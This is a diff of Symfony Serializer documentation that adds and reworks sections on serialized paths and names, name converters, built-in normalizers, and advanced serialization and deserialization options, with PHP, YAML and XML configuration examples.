+            #[SerializedPath('[profile][personal_information][full_name]')]
+            private string $fullName;
+        }
+
+    .. code-block:: yaml
+
+        App\Model\Person:
+            attributes:
+                username:
+                    serialized_path: '[profile][username]'
+                fullName:
+                    serialized_path: '[profile][personal_information][full_name]'
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="username" serialized-path="[profile][username]"/>
+                <attribute name="fullName" serialized-path="[profile][personal_information][full_name]"/>
+            </class>
+        </serializer>
+
+.. warning::
+
+    The ``SerializedPath`` cannot be used in combination with a
+    ``SerializedName`` for the same property.
+
+The ``#[SerializedPath]`` attribute also applies to the serialization of a
+PHP object::
+
+    use App\Model\Person;
+    // ...
+
+    $person = new Person(123, 'jdoe', 'Jane Doe');
+    $jsonContent = $serializer->serialize($person, 'json');
+    // $jsonContent contains {"id":123,"profile":{"username":"jdoe","personal_information":{"full_name":"Jane Doe"}}}
+
+.. _serializer-name-conversion:
+
+Converting Property Names when Serializing and Deserializing
+------------------------------------------------------------
+
+Sometimes serialized attributes must be named differently than properties
+or getter/setter methods of PHP classes. This can be achieved using name
+converters.
+
+The serializer service uses the
+:class:`Symfony\\Component\\Serializer\\NameConverter\\MetadataAwareNameConverter`.
+With this name converter, you can change the name of an attribute using
+the ``#[SerializedName]`` attribute:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Model/Person.php
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\SerializedName;
+
+        class Person
+        {
+            #[SerializedName('customer_name')]
+            private string $name;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/serializer/person.yaml
+        App\Entity\Person:
+            attributes:
+                name:
+                    serialized_name: customer_name
+
+    .. code-block:: xml
+
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Entity\Person">
+                <attribute name="name" serialized-name="customer_name"/>
+            </class>
+        </serializer>
+
+This custom mapping is used to convert property names when serializing and
+deserializing objects:
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        // ...
+
+        $json = $serializer->serialize($person, 'json');
+        // $json contains {"customer_name":"Jane Doe", ...}
+
+    .. code-block:: php-standalone
+
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
+        use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
+        use Symfony\Component\Serializer\NameConverter\MetadataAwareNameConverter;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
+
+        // ...
+
+        // Configure a loader to retrieve mapping information like SerializedName.
+        // E.g. when using PHP attributes:
+        $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
+        $nameConverter = new MetadataAwareNameConverter($classMetadataFactory);
+        $normalizers = [
+            new ObjectNormalizer($classMetadataFactory, $nameConverter),
+        ];
+
+        $serializer = new Serializer($normalizers, $encoders);
+
+        $person = new Person('Jane Doe', 32, false);
+        $json = $serializer->serialize($person, 'json');
+        // $json contains {"customer_name":"Jane Doe", ...}
+
+.. seealso::
+
+    You can also create a custom name converter class. Read more about this
+    in :doc:`/serializer/custom_name_converter`.
+
+.. _using-camelized-method-names-for-underscored-attributes:
+
+CamelCase to snake_case
+~~~~~~~~~~~~~~~~~~~~~~~
+
+In many formats, it's common to use underscores to separate words (also known
+as snake_case). However, in Symfony applications is common to use camelCase to
+name properties.
+
+Symfony provides a built-in name converter designed to transform between
+snake_case and CamelCased styles during serialization and deserialization
+processes. You can use it instead of the metadata aware name converter by
+setting the ``name_converter`` setting to
+``serializer.name_converter.camel_case_to_snake_case``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/serializer.yaml
+        framework:
+            serializer:
+                name_converter: 'serializer.name_converter.camel_case_to_snake_case'
+
+    .. code-block:: xml
+
+        <!-- config/packages/serializer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:serializer
+                    name-converter="serializer.name_converter.camel_case_to_snake_case"
+                />
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/serializer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->serializer()
+                ->nameConverter('serializer.name_converter.camel_case_to_snake_case')
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\Serializer\NameConverter\CamelCaseToSnakeCaseNameConverter;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+
+        // ...
+        $normalizers = [
+            new ObjectNormalizer(null, new CamelCaseToSnakeCaseNameConverter()),
+        ];
+        $serializer = new Serializer($normalizers, $encoders);
+
+.. _serializer-built-in-normalizers:
+
+Serializer Normalizers
+----------------------
+
+By default, the serializer service is configured with the following
+normalizers (in order of priority):
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\UnwrappingDenormalizer`
+    Can be used to only denormalize a part of the input, read more about
+    this :ref:`later in this article <serializer-unwrapping-denormalizer>`.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
+    Normalizes :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException`
+    errors according to the API Problem spec `RFC 7807`_.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer`
+    Normalizes objects that extend :class:`Symfony\\Component\\Uid\\AbstractUid`.
+
+    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Uuid`
+    is the `RFC 4122`_ format (example: ``d9e7a184-5d5b-11ea-a62a-3499710062d0``).
+    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Ulid`
+    is the Base 32 format (example: ``01E439TP9XJZ9RPFH3T1PYBCR8``).
+    You can change the string format by setting the serializer context option
+    ``UidNormalizer::NORMALIZATION_FORMAT_KEY`` to ``UidNormalizer::NORMALIZATION_FORMAT_BASE_58``,
+    ``UidNormalizer::NORMALIZATION_FORMAT_BASE_32`` or ``UidNormalizer::NORMALIZATION_FORMAT_RFC_4122``.
+
+    Also it can denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
+    or :class:`Symfony\\Component\\Uid\\Ulid`. The format does not matter.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer`
+    This normalizes between :phpclass:`DateTimeInterface` objects (e.g.
+    :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) and strings,
+    integers or floats.
+
+    :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) into strings,
+    integers or floats. By default, it converts them to strings using the
+    `RFC 3339`_ format. Use ``DateTimeNormalizer::FORMAT_KEY`` and
+    ``DateTimeNormalizer::TIMEZONE_KEY`` to change the format.
+
+    To convert the objects to integers or floats, set the serializer
+    context option ``DateTimeNormalizer::CAST_KEY`` to ``int`` or
+    ``float``.
+
+    .. versionadded:: 7.1
+
+        The ``DateTimeNormalizer::CAST_KEY`` context option was introduced in Symfony 7.1.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
+    This normalizer converts objects that implement
+    :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface`
+    into a list of errors according to the `RFC 7807`_ standard.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
+    This normalizer converts between :phpclass:`DateTimeZone` objects and strings that
+    represent the name of the timezone according to the `list of PHP timezones`_.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
+    This normalizes between :phpclass:`DateInterval` objects and strings.
+    By default, the ``P%yY%mM%dDT%hH%iM%sS`` format is used. Use the
+    ``DateIntervalNormalizer::FORMAT_KEY`` option to change this.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
+    This normalizer works with classes that implement
+    :class:`Symfony\\Component\\Form\\FormInterface`.
+
+    It will get errors from the form and normalize them according to the
+    API Problem spec `RFC 7807`_.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
+    This normalizer converts objects implementing :class:`Symfony\\Contracts\\Translation\\TranslatableInterface`
+    to a translated string using the :doc:`translator </translation>`.
+
+    You can define the locale to use to translate the object by setting the
+    ``TranslatableNormalizer::NORMALIZATION_LOCALE_KEY`` context option.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
+    This normalizer converts between :phpclass:`BackedEnum` enums and
+    strings or integers.
+
+    By default, an exception is thrown when data is not a valid backed enumeration. If you
+    want ``null`` instead, you can set the ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` option.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer`
+    This normalizer converts between :phpclass:`SplFileInfo` objects and a
+    `data URI`_ string (``data:...``) such that files can be embedded into
+    serialized data.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
+    This normalizer works with classes that implement :phpclass:`JsonSerializable`.
+
+    It will call the :phpmethod:`JsonSerializable::jsonSerialize` method and
+    then further normalize the result. This means that nested
+    :phpclass:`JsonSerializable` classes will also be normalized.
+
+    This normalizer is particularly helpful when you want to gradually migrate
+    from an existing codebase using simple :phpfunction:`json_encode` to the Symfony
+    Serializer by allowing you to mix which normalizers are used for which classes.
+
+    Unlike with :phpfunction:`json_encode` circular references can be handled.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer`
+    This denormalizer converts an array of arrays to an array of objects
+    (with the given type). See :ref:`Handling Arrays <serializer-handling-arrays>`.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
+    This is the most powerful default normalizer and used for any object
+    that could not be normalized by the other normalizers.
+
+    It leverages the :doc:`PropertyAccess Component </components/property_access>`
+    to read and write in the object. This allows it to access properties
+    directly or using getters, setters, hassers, issers, canners, adders and
+    removers. Names are generated by removing the ``get``, ``set``,
+    ``has``, ``is``, ``add`` or ``remove`` prefix from the method name and
+    transforming the first letter to lowercase (e.g. ``getFirstName()`` ->
+    ``firstName``).
+
+    During denormalization, it supports using the constructor as well as
+    the discovered methods.
+
+.. danger::
+
+    Always make sure the ``DateTimeNormalizer`` is registered when
+    serializing the ``DateTime`` or ``DateTimeImmutable`` classes to avoid
+    excessive memory usage and exposing internal details.
+
+Built-in Normalizers
+~~~~~~~~~~~~~~~~~~~~
+
+Besides the normalizers registered by default (see previous section), the
+serializer component also provides some extra normalizers.You can register
+these by defining a service and tag it with :ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>`.
+For instance, to use the ``CustomNormalizer`` you have to define a service
+like:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            # if you're using autoconfigure, the tag will be automatically applied
+            Symfony\Component\Serializer\Normalizer\CustomNormalizer:
+                tags:
+                    # register the normalizer with a high priority (called earlier)
+                    - { name: 'serializer.normalizer', priority: 500 }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <!-- if you're using autoconfigure, the tag will be automatically applied -->
+                <service id="Symfony\Component\Serializer\Normalizer\CustomNormalizer">
+                    <!-- register the normalizer with a high priority (called earlier) -->
+                    <tag name="serializer.normalizer"
+                        priority="500"
+                    />
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\Serializer\Normalizer\CustomNormalizer;
+
+        return function(ContainerConfigurator $container) {
+            // ...
+
+            // if you're using autoconfigure, the tag will be automatically applied
+            $services->set(CustomNormalizer::class)
+                // register the normalizer with a high priority (called earlier)
+                ->tag('serializer.normalizer', [
+                    'priority' => 500,
+                ])
+            ;
+        };
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer`
+    This normalizer calls a method on the PHP object when normalizing. The
+    PHP object must implement :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`
+    and/or :class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizableInterface`.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
+    This normalizer is an alternative to the default ``ObjectNormalizer``.
+    It reads the content of the class by calling the "getters" (public
+    methods starting with ``get``, ``has``, ``is`` or ``can``). It will
+    denormalize data by calling the constructor and the "setters" (public
+    methods starting with ``set``).
+
+    Objects are normalized to a map of property names and values (names are
+    generated by removing the ``get`` prefix from the method name and transforming
+    the first letter to lowercase; e.g. ``getFirstName()`` -> ``firstName``).
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`
+    This is yet another alternative to the ``ObjectNormalizer``. This
+    normalizer directly reads and writes public properties as well as
+    **private and protected** properties (from both the class and all of
+    its parent classes) by using `PHP reflection`_. It supports calling the
+    constructor during the denormalization process.
+
+    Objects are normalized to a map of property names to property values.
+
+    You can also limit the normalizer to only use properties with a specific
+    visibility (e.g. only public properties) using the
+    ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option. You can set it
+    to any combination of the ``PropertyNormalizer::NORMALIZE_PUBLIC``,
+    ``PropertyNormalizer::NORMALIZE_PROTECTED`` and
+    ``PropertyNormalizer::NORMALIZE_PRIVATE`` constants::
+
+        use Symfony\Component\Serializer\Normalizer\PropertyNormalizer;
+        // ...
+
+        $json = $serializer->serialize($person, 'json', [
+            // only serialize public properties
+            PropertyNormalizer::NORMALIZE_VISIBILITY => PropertyNormalizer::NORMALIZE_PUBLIC,
+
+            // serialize public and protected properties
+            PropertyNormalizer::NORMALIZE_VISIBILITY => PropertyNormalizer::NORMALIZE_PUBLIC | PropertyNormalizer::NORMALIZE_PROTECTED,
+        ]);
+
+Debugging the Serializer
+------------------------
+
+Use the ``debug:serializer`` command to dump the serializer metadata of a
+given class:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:serializer 'App\Entity\Book'
+
+        App\Entity\Book
+        ---------------
+
+        +----------+------------------------------------------------------------+
+        | Property | Options                                                    |
+        +----------+------------------------------------------------------------+
+        | name     | [                                                          |
+        |          |   "groups" => [                                            |
+        |          |       "book:read",                                         |
+        |          |       "book:write",                                        |
+        |          |   ],                                                       |
+        |          |   "maxDepth" => 1,                                         |
+        |          |   "serializedName" => "book_name",                         |
         |          |   "serializedPath" => null,                                |
         |          |   "ignore" => false,                                       |
         |          |   "normalizationContexts" => [],                           |
@@ -537,42 +1506,637 @@ given class:
         |          |   ],                                                       |
         |          |   "maxDepth" => null,                                      |
         |          |   "serializedName" => null,                                |
-        |          |   "serializedPath" => [data][isbn],                        |
+        |          |   "serializedPath" => "[data][isbn]",                      |
         |          |   "ignore" => false,                                       |
         |          |   "normalizationContexts" => [],                           |
         |          |   "denormalizationContexts" => []                          |
         |          | ]                                                          |
         +----------+------------------------------------------------------------+
 
-Going Further with the Serializer
----------------------------------
+Advanced Serialization
+----------------------
+
+Skipping ``null`` Values
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, the Serializer will preserve properties containing a ``null`` value.
+You can change this behavior by setting the ``AbstractObjectNormalizer::SKIP_NULL_VALUES`` context option
+to ``true``::
+
+    class Person
+    {
+        public string $name = 'Jane Doe';
+        public ?string $gender = null;
+    }
+
+    $jsonContent = $serializer->serialize(new Person(), 'json', [
+        AbstractObjectNormalizer::SKIP_NULL_VALUES => true,
+    ]);
+    // $jsonContent contains {"name":"Jane Doe"}
+
+Handling Uninitialized Properties
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In PHP, typed properties have an ``uninitialized`` state which is different
+from the default ``null`` of untyped properties. When you try to access a typed
+property before giving it an explicit value, you get an error.
+
+To avoid the serializer throwing an error when serializing or normalizing
+an object with uninitialized properties, by default the ``ObjectNormalizer``
+catches these errors and ignores such properties.
+
+You can disable this behavior by setting the
+``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context option to
+``false``::
+
+    class Person {
+        public string $name = 'Jane Doe';
+        public string $phoneNumber; // uninitialized
+    }
+
+    $jsonContent = $normalizer->serialize(new Dummy(), 'json', [
+        AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES => false,
+    ]);
+    // throws Symfony\Component\PropertyAccess\Exception\UninitializedPropertyException
+    // as the ObjectNormalizer cannot read uninitialized properties
+
+.. note::
+
+    Using :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`
+    or :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
+    with ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context
+    option set to ``false`` will throw an ``\Error`` instance if the given
+    object has uninitialized properties as the normalizers cannot read them
+    (directly or via getter/isser methods).
+
+.. _component-serializer-handling-circular-references:
+
+Handling Circular References
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Circular references are common when dealing with associated objects::
+
+    class Organization
+    {
+        public function __construct(
+            private string $name,
+            private array $members = []
+        ) {
+        }
+
+        public function getName(): string
+        {
+            return $this->name;
+        }
+
+        public function addMember(Member $member): void
+        {
+            $this->members[] = $member;
+        }
+
+        public function getMembers(): array
+        {
+            return $this->members;
+        }
+    }
+
+    class Member
+    {
+        private Organization $organization;
+
+        public function __construct(
+            private string $name
+        ) {
+        }
+
+        public function getName(): string
+        {
+            return $this->name;
+        }
+
+        public function setOrganization(Organization $organization): void
+        {
+            $this->organization = $organization;
+        }
+
+        public function getOrganization(): Organization
+        {
+            return $this->organization;
+        }
+    }
+
+To avoid infinite loops, the normalizers throw a
+:class:`Symfony\\Component\\Serializer\\Exception\\CircularReferenceException`
+when such a case is encountered::
+
+    $organization = new Organization('Les-Tilleuls.coop');
+    $member = new Member('Kévin');
+
+    $organization->addMember($member);
+    $member->setOrganization($organization);
+
+    $jsonContent = $serializer->serialize($organization, 'json');
+    // throws a CircularReferenceException
+
+The key ``circular_reference_limit`` in the context sets the number of
+times it will serialize the same object before considering it a circular
+reference. The default value is ``1``.
+
+Instead of throwing an exception, circular references can also be handled
+by custom callables. This is especially useful when serializing entities
+having unique identifiers::
+
+    use Symfony\Component\Serializer\Exception\CircularReferenceException;
+
+    $context = [
+        AbstractNormalizer::CIRCULAR_REFERENCE_HANDLER => function (object $object, ?string $format, array $context): string {
+            if (!$object instanceof Organization) {
+                throw new CircularReferenceException('A circular reference has been detected when serializing the object of class "'.get_debug_type($object).'".');
+            }
+
+            // serialize the nested Organization with only the name (and not the members)
+            return $object->getName();
+        },
+    ];
+
+    $jsonContent = $serializer->serialize($organization, 'json', $context);
+    // $jsonContent contains {"name":"Les-Tilleuls.coop","members":[{"name":"K\u00e9vin", organization: "Les-Tilleuls.coop"}]}
+
+.. _serializer_handling-serialization-depth:
+
+Handling Serialization Depth
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The serializer can also detect nested objects of the same class and limit
+the serialization depth. This is useful for tree structures, where the same
+object is nested multiple times.
+
+For instance, assume a data structure of a family tree::
+
+    // ...
+    class Person
+    {
+        // ...
+
+        public function __construct(
+            private string $name,
+            private ?self $mother
+        ) {
+        }
+
+        public function getName(): string
+        {
+            return $this->name;
+        }
+
+        public function getMother(): ?self
+        {
+            return $this->mother;
+        }
+
+        // ...
+    }
+
+    // ...
+    $greatGrandmother = new Person('Elizabeth', null);
+    $grandmother = new Person('Jane', $greatGrandmother);
+    $mother = new Person('Sophie', $grandmother);
+    $child = new Person('Joe', $mother);
+
+You can specify the maximum depth for a given property. For instance, you
+can set the max depth to ``1`` to always only serialize someone's mother
+(and not their grandmother, etc.):
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Model/Person.php
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\MaxDepth;
+
+        class Person
+        {
+            #[MaxDepth(1)]
+            private ?self $mother;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/serializer/person.yaml
+        App\Model\Person:
+            attributes:
+                mother:
+                    max_depth: 1
+
+    .. code-block:: xml
+
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="mother" max-depth="1"/>
+            </class>
+        </serializer>
+
+To limit the serialization depth, you must set the
+``AbstractObjectNormalizer::ENABLE_MAX_DEPTH`` key to ``true`` in the
+context (or the default context specified in ``framework.yaml``)::
+
+    // ...
+    $greatGrandmother = new Person('Elizabeth', null);
+    $grandmother = new Person('Jane', $greatGrandmother);
+    $mother = new Person('Sophie', $grandmother);
+    $child = new Person('Joe', $mother);
+
+    $jsonContent = $serializer->serialize($child, null, [
+        AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true
+    ]);
+    // $jsonContent contains {"name":"Joe","mother":{"name":"Sophie"}}
+
+You can also configure a custom callable that is used when the maximum
+depth is reached. This can be used to for instance return the unique
+identifier of the next nested object, instead of omitting the property::
+
+    use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
+    // ...
+
+    $greatGrandmother = new Person('Elizabeth', null);
+    $grandmother = new Person('Jane', $greatGrandmother);
+    $mother = new Person('Sophie', $grandmother);
+    $child = new Person('Joe', $mother);
 
-`API Platform`_ provides an API system supporting the following formats:
+    // all callback parameters are optional (you can omit the ones you don't use)
+    $maxDepthHandler = function (object $innerObject, object $outerObject, string $attributeName, ?string $format = null, array $context = []): ?string {
+        // return only the name of the next person in the tree
+        return $innerObject instanceof Person ? $innerObject->getName() : null;
+    };
 
-* `JSON-LD`_ along with the `Hydra Core Vocabulary`_
-* `OpenAPI`_ v2 (formerly Swagger) and v3
-* `GraphQL`_
-* `JSON:API`_
-* `HAL`_
-* JSON
-* XML
-* YAML
-* CSV
+    $jsonContent = $serializer->serialize($child, null, [
+        AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true,
+        AbstractObjectNormalizer::MAX_DEPTH_HANDLER => $maxDepthHandler,
+    ]);
+    // $jsonContent contains {"name":"Joe","mother":{"name":"Sophie","mother":"Jane"}}
+
+Using Callbacks to Serialize Properties with Object Instances
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When serializing, you can set a callback to format a specific object
+property. This can be used instead of
+:ref:`defining the context for a group <serializer-context-group>`::
+
+    $person = new Person('cordoval', 34);
+    $person->setCreatedAt(new \DateTime('now'));
+
+    $context = [
+        AbstractNormalizer::CALLBACKS => [
+            // all callback parameters are optional (you can omit the ones you don't use)
+            'createdAt' => function (object $attributeValue, object $object, string $attributeName, ?string $format = null, array $context = []) {
+                return $attributeValue instanceof \DateTime ? $attributeValue->format(\DateTime::ATOM) : '';
+            },
+        ],
+    ];
+    $jsonContent = $serializer->serialize($person, 'json', $context);
+    // $jsonContent contains {"name":"cordoval","age":34,"createdAt":"2014-03-22T09:43:12-0500"}
+
+Advanced Deserialization
+------------------------
+
+Require all Properties
+~~~~~~~~~~~~~~~~~~~~~~
+
+By default, the Serializer will add ``null`` to nullable properties when
+the parameters for those are not provided. You can change this behavior by
+setting the ``AbstractNormalizer::REQUIRE_ALL_PROPERTIES`` context option
+to ``true``::
+
+    class Person
+    {
+        public function __construct(
+            public string $firstName,
+            public ?string $lastName,
+        ) {
+        }
+    }
+
+    // ...
+    $data = ['firstName' => 'John'];
+    $person = $serializer->deserialize($data, Person::class, 'json', [
+        AbstractNormalizer::REQUIRE_ALL_PROPERTIES => true,
+    ]);
+    // throws Symfony\Component\Serializer\Exception\MissingConstructorArgumentException
+
+Collecting Type Errors While Denormalizing
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When denormalizing a payload to an object with typed properties, you'll get an
+exception if the payload contains properties that don't have the same type as
+the object.
+
+Use the ``COLLECT_DENORMALIZATION_ERRORS`` option to collect all exceptions
+at once, and to get the object partially denormalized::
+
+    try {
+        $person = $serializer->deserialize($jsonString, Person::class, 'json', [
+            DenormalizerInterface::COLLECT_DENORMALIZATION_ERRORS => true,
+        ]);
+    } catch (PartialDenormalizationException $e) {
+        $violations = new ConstraintViolationList();
+
+        /** @var NotNormalizableValueException $exception */
+        foreach ($e->getErrors() as $exception) {
+            $message = sprintf('The type must be one of "%s" ("%s" given).', implode(', ', $exception->getExpectedTypes()), $exception->getCurrentType());
+            $parameters = [];
+            if ($exception->canUseMessageForUser()) {
+                $parameters['hint'] = $exception->getMessage();
+            }
+            $violations->add(new ConstraintViolation($message, '', $parameters, null, $exception->getPath(), null));
+        }
+
+        // ... return violation list to the user
+    }
+
+.. _serializer-populate-existing-object:
+
+Deserializing in an Existing Object
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The serializer can also be used to update an existing object. You can do
+this by configuring the ``object_to_populate`` serializer context option::
+
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+
+    // ...
+    $person = new Person('Jane Doe', 59);
+
+    $serializer->deserialize($jsonData, Person::class, 'json', [
+        AbstractNormalizer::OBJECT_TO_POPULATE => $person,
+    ]);
+    // instead of returning a new object, $person is updated instead
+
+.. note::
+
+    The ``AbstractNormalizer::OBJECT_TO_POPULATE`` option is only used for
+    the top level object. If that object is the root of a tree structure,
+    all child elements that exist in the normalized data will be re-created
+    with new instances.
+
+    When the ``AbstractObjectNormalizer::DEEP_OBJECT_TO_POPULATE`` context
+    option is set to ``true``, existing children of the root ``OBJECT_TO_POPULATE``
+    are updated from the normalized data, instead of the denormalizer
+    re-creating them. This only works for single child objects, not for
+    arrays of objects. Those will still be replaced when present in the
+    normalized data.
+
+.. _serializer_interfaces-and-abstract-classes:
+
+Deserializing Interfaces and Abstract Classes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When working with associated objects, a property sometimes reference an
+interface or abstract class. When deserializing these properties, the
+Serializer has to know which concrete class to initialize. This is done
+using a *discriminator class mapping*.
+
+Imagine there is an ``InvoiceItemInterface`` that is implemented by the
+``Product`` and ``Shipping`` objects. When serializing an object, the
+serializer will add an extra "discriminator attribute". This contains
+either ``product`` or ``shipping``. The discriminator class map maps
+these type names to the real PHP class name when deserializing:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\DiscriminatorMap;
+
+        #[DiscriminatorMap(
+            typeProperty: 'type',
+            mapping: [
+                'product' => Product::class,
+                'shipping' => Shipping::class,
+            ]
+        )]
+        interface InvoiceItemInterface
+        {
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        App\Model\InvoiceItemInterface:
+            discriminator_map:
+                type_property: type
+                mapping:
+                    product: 'App\Model\Product'
+                    shipping: 'App\Model\Shipping'
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\InvoiceItemInterface">
+                <discriminator-map type-property="type">
+                    <mapping type="product" class="App\Model\Product"/>
+                    <mapping type="shipping" class="App\Model\Shipping"/>
+                </discriminator-map>
+            </class>
+        </serializer>
+
+With the discriminator map configured, the serializer can now pick the
+correct class for properties typed as ``InvoiceItemInterface``::
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        class InvoiceLine
+        {
+            public function __construct(
+                private InvoiceItemInterface $invoiceItem
+            ) {
+                $this->invoiceItem = $invoiceItem;
+            }
+
+            public function getInvoiceItem(): InvoiceItemInterface
+            {
+                return $this->invoiceItem;
+            }
+
+            // ...
+        }
+
+        // ...
+        $invoiceLine = new InvoiceLine(new Product());
+
+        $jsonString = $serializer->serialize($invoiceLine, 'json');
+        // $jsonString contains {"type":"product",...}
+
+        $invoiceLine = $serializer->deserialize($jsonString, InvoiceLine::class, 'json');
+        // $invoiceLine contains new InvoiceLine(new Product(...))
+
+    .. code-block:: php-standalone
+
+        // ...
+        use Symfony\Component\Serializer\Mapping\ClassDiscriminatorFromClassMetadata;
